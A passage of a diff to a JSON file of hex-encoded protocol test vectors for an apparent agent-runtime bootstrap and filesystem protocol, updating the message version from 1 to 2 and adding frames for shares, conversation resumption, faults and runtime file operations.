"574d58310101000005000000ab0000007b2276223a322c2274223a2272756e74696d655f7265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6e766572736174696f6e73223a312c22636f6e74696e756174696f6e73223a5b5d7d", "class": "bootstrap", "seq": 5 }, { "name": "bootstrap-up-fault-bad-conversations", "direction": "up", - "hex": "574d58310101000006000000990000007b2276223a312c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a226261645f636f6e766572736174696f6e73227d", + "hex": "574d58310101000006000000990000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a226261645f636f6e766572736174696f6e73227d", "class": "bootstrap", "seq": 6 }, { "name": "bootstrap-up-fault-supervisor-failed", "direction": "up", - "hex": "574d58310101000007000000990000007b2276223a312c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a2273757065727669736f725f6661696c6564227d", + "hex": "574d58310101000007000000990000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a2273757065727669736f725f6661696c6564227d", "class": "bootstrap", "seq": 7 }, { "name": "bootstrap-up-fault-second-conversations", "direction": "up", - "hex": "574d583101010000080000009c0000007b2276223a312c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a227365636f6e645f636f6e766572736174696f6e73227d", + "hex": "574d583101010000080000009c0000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a227365636f6e645f636f6e766572736174696f6e73227d", "class": "bootstrap", "seq": 8 }, @@ -187,42 +187,42 @@ { "name": "bootstrap-up-fault-bad-plan", "direction": "up", - "hex": "574d58310101000009000000900000007b2276223a312c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a226261645f706c616e227d", + "hex": "574d58310101000009000000900000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a226261645f706c616e227d", "class": "bootstrap", "seq": 9 }, { "name": "bootstrap-up-fault-probe-failed", "direction": "up", - "hex": "574d58310101000009000000940000007b2276223a312c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a2270726f62655f6661696c6564227d", + "hex": "574d58310101000009000000940000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a2270726f62655f6661696c6564227d", "class": "bootstrap", "seq": 9 }, { "name": "bootstrap-up-fault-format-failed", "direction": "up", - "hex": "574d58310101000009000000950000007b2276223a312c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a22666f726d61745f6661696c6564227d", + "hex": "574d58310101000009000000950000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a22666f726d61745f6661696c6564227d", "class": "bootstrap", "seq": 9 }, { "name": "bootstrap-up-fault-replay-failed", "direction": "up", - "hex": "574d58310101000009000000950000007b2276223a312c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a227265706c61795f6661696c6564227d", + "hex": "574d58310101000009000000950000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a227265706c61795f6661696c6564227d", "class": "bootstrap", "seq": 9 }, { "name": "bootstrap-up-fault-mount-failed", "direction": "up", - "hex": "574d58310101000009000000940000007b2276223a312c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a226d6f756e745f6661696c6564227d", + "hex": "574d58310101000009000000940000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a226d6f756e745f6661696c6564227d", "class": "bootstrap", "seq": 9 }, { "name": "bootstrap-up-fault-internal", "direction": "up", - "hex": "574d58310101000009000000900000007b2276223a312c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a22696e7465726e616c227d", + "hex": "574d58310101000009000000900000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a22696e7465726e616c227d", "class": "bootstrap", "seq": 9 }, @@ -253,6 +253,111 @@ "hex": "574d58310100000006000000540000007b2276223a312c2274223a226661756c74222c22636f6465223a22696e7465726e616c222c2273746f704e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066227d", "class": "control", "seq": 6 + }, + { + "name": "bootstrap-down-shares", + "direction": "down", + "hex": "574d58310101000003000000610200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d5d7d", + "class": "bootstrap", + "seq": 3 + }, + { + "name": "bootstrap-up-shares-mounted", + "direction": "up", + "hex": "574d58310101000005000000870000007b2276223a322c2274223a227368617265735f6d6f756e746564222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066227d", + "class": "bootstrap", + "seq": 5 + }, + { + "name": "bootstrap-down-conversations-browse-uid", + "direction": "down", + "hex": "574d58310101000004000000770600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a32313030302c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", + "class": "bootstrap", + "seq": 4 + }, + { + "name": "bootstrap-down-conversations-resume", + "direction": "down", + "hex": "574d58310101000004000000c40600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a22726573756d65222c22656e6465644775657374426f6f7473223a5b2231313131313131312d313131312d343131312d383131312d313131313131313131313131222c2232323232323232322d323232322d343232322d383232322d323232323232323232323232225d7d7d5d7d", + "class": "bootstrap", + "seq": 4 + }, + { + "name": "bootstrap-down-conversations-either", + "direction": "down", + "hex": "574d58310101000004000000120700007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a22656974686572222c22656e6465644775657374426f6f7473223a5b2231313131313131312d313131312d343131312d383131312d313131313131313131313131222c2232323232323232322d323232322d343232322d383232322d323232323232323232323232222c2233333333333333332d333333332d343333332d383333332d333333333333333333333333222c2234343434343434342d343434342d343434342d383434342d343434343434343434343434225d7d7d5d7d", + "class": "bootstrap", + "seq": 4 + }, + { + "name": "bootstrap-down-conversations-timeout-a-day", + "direction": "down", + "hex": "574d58310101000004000000780600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a38363430303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", + "class": "bootstrap", + "seq": 4 + }, + { + "name": "bootstrap-up-runtime-ready-resumed", + "direction": "up", + "hex": "574d58310101000006000000b30000007b2276223a322c2274223a2272756e74696d655f7265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6e766572736174696f6e73223a312c22636f6e74696e756174696f6e73223a5b22726573756d65225d7d", + "class": "bootstrap", + "seq": 6 + }, + { + "name": "bootstrap-up-fault-share-inventory", + "direction": "up", + "hex": "574d58310101000009000000970000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a2273686172655f696e76656e746f7279227d", + "class": "bootstrap", + "seq": 9 + }, + { + "name": "bootstrap-up-fault-share-mount-failed", + "direction": "up", + "hex": "574d583101010000090000009a0000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a2273686172655f6d6f756e745f6661696c6564227d", + "class": "bootstrap", + "seq": 9 + }, + { + "name": "bootstrap-up-fault-resume-store-missing", + "direction": "up", + "hex": "574d583101010000090000009c0000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a22726573756d655f73746f72655f6d697373696e67227d", + "class": "bootstrap", + "seq": 9 + }, + { + "name": "bootstrap-up-fault-fresh-store-not-empty", + "direction": "up", + "hex": "574d583101010000090000009d0000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a2266726573685f73746f72655f6e6f745f656d707479227d", + "class": "bootstrap", + "seq": 9 + }, + { + "name": "runtime-down-file-in-request", + "direction": "down", + "hex": "574d5831010200000300000012000000000400007b226f70223a2273746174227d0a", + "class": "runtime", + "seq": 3 + }, + { + "name": "runtime-down-file-in-end", + "direction": "down", + "hex": "574d583101020000040000000400000000040100", + "class": "runtime", + "seq": 4 + }, + { + "name": "runtime-up-file-out-response", + "direction": "up", + "hex": "574d5831010200000500000010000000000500007b226f6b223a747275657d0a", + "class": "runtime", + "seq": 5 + }, + { + "name": "runtime-up-file-out-end", + "direction": "up", + "hex": "574d583101020000060000000400000000050100", + "class": "runtime", + "seq": 6 } ], "negative": [ @@ -337,7 +442,7 @@ { "name": "plan-travelling-up", "direction": "up", - "hex": "574d583101010000010000006e0600007b2276223a312c2274223a22706c616e222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22706c616e223a7b22636865636b4d6f6465223a226e6f726d616c222c22657874344665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226f776e6572223a7b22636f6e74726f6c6c6572496e7374616e63654964223a2263746c2d30623062306230622d306230622d346230622d386230622d3062306230623062306230622d6131623263336434222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c2272756e74696d65496d616765446967657374223a2261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162222c22776f726b6572496e7374616e63654964223a2277726b2d34343434343434342d343434342d343434342d383434342d343434343434343434343434227d2c227072696f725265706c6179223a6e756c6c2c2270726f746f636f6c56657273696f6e223a332c2272657175697265644d6f756e744f7074696f6e73223a5b226e6f696e69745f697461626c65225d2c2276697267696e5a65726f50726f76656e616e6365223a226e65772d7370617273652d6372656174696f6e222c22766f6c756d6573223a5b7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a31373137393836393138342c226372656174696f6e4964223a226372656174696f6e5f6161616161616161222c22657870656374656446696c6573797374656d55554944223a2231313131313131312d323232322d343333332d383434342d353535353535353535353535222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a2239303037313939323534373430393933222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a2264617461222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6262626262626262227d2c7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a383538393933343539322c226372656174696f6e4964223a226372656174696f6e5f6363636363636363222c22657870656374656446696c6573797374656d55554944223a2236363636363636362d373737372d343838382d383939392d616161616161616161616161222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a223138343436373434303733373039353531363135222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a22656e7669726f6e6d656e74222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6464646464646464227d5d2c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d7d", + "hex": "574d583101010000010000006e0600007b2276223a322c2274223a22706c616e222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22706c616e223a7b22636865636b4d6f6465223a226e6f726d616c222c22657874344665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226f776e6572223a7b22636f6e74726f6c6c6572496e7374616e63654964223a2263746c2d30623062306230622d306230622d346230622d386230622d3062306230623062306230622d6131623263336434222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c2272756e74696d65496d616765446967657374223a2261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162222c22776f726b6572496e7374616e63654964223a2277726b2d34343434343434342d343434342d343434342d383434342d343434343434343434343434227d2c227072696f725265706c6179223a6e756c6c2c2270726f746f636f6c56657273696f6e223a332c2272657175697265644d6f756e744f7074696f6e73223a5b226e6f696e69745f697461626c65225d2c2276697267696e5a65726f50726f76656e616e6365223a226e65772d7370617273652d6372656174696f6e222c22766f6c756d6573223a5b7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a31373137393836393138342c226372656174696f6e4964223a226372656174696f6e5f6161616161616161222c22657870656374656446696c6573797374656d55554944223a2231313131313131312d323232322d343333332d383434342d353535353535353535353535222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a2239303037313939323534373430393933222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a2264617461222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6262626262626262227d2c7b22616374696f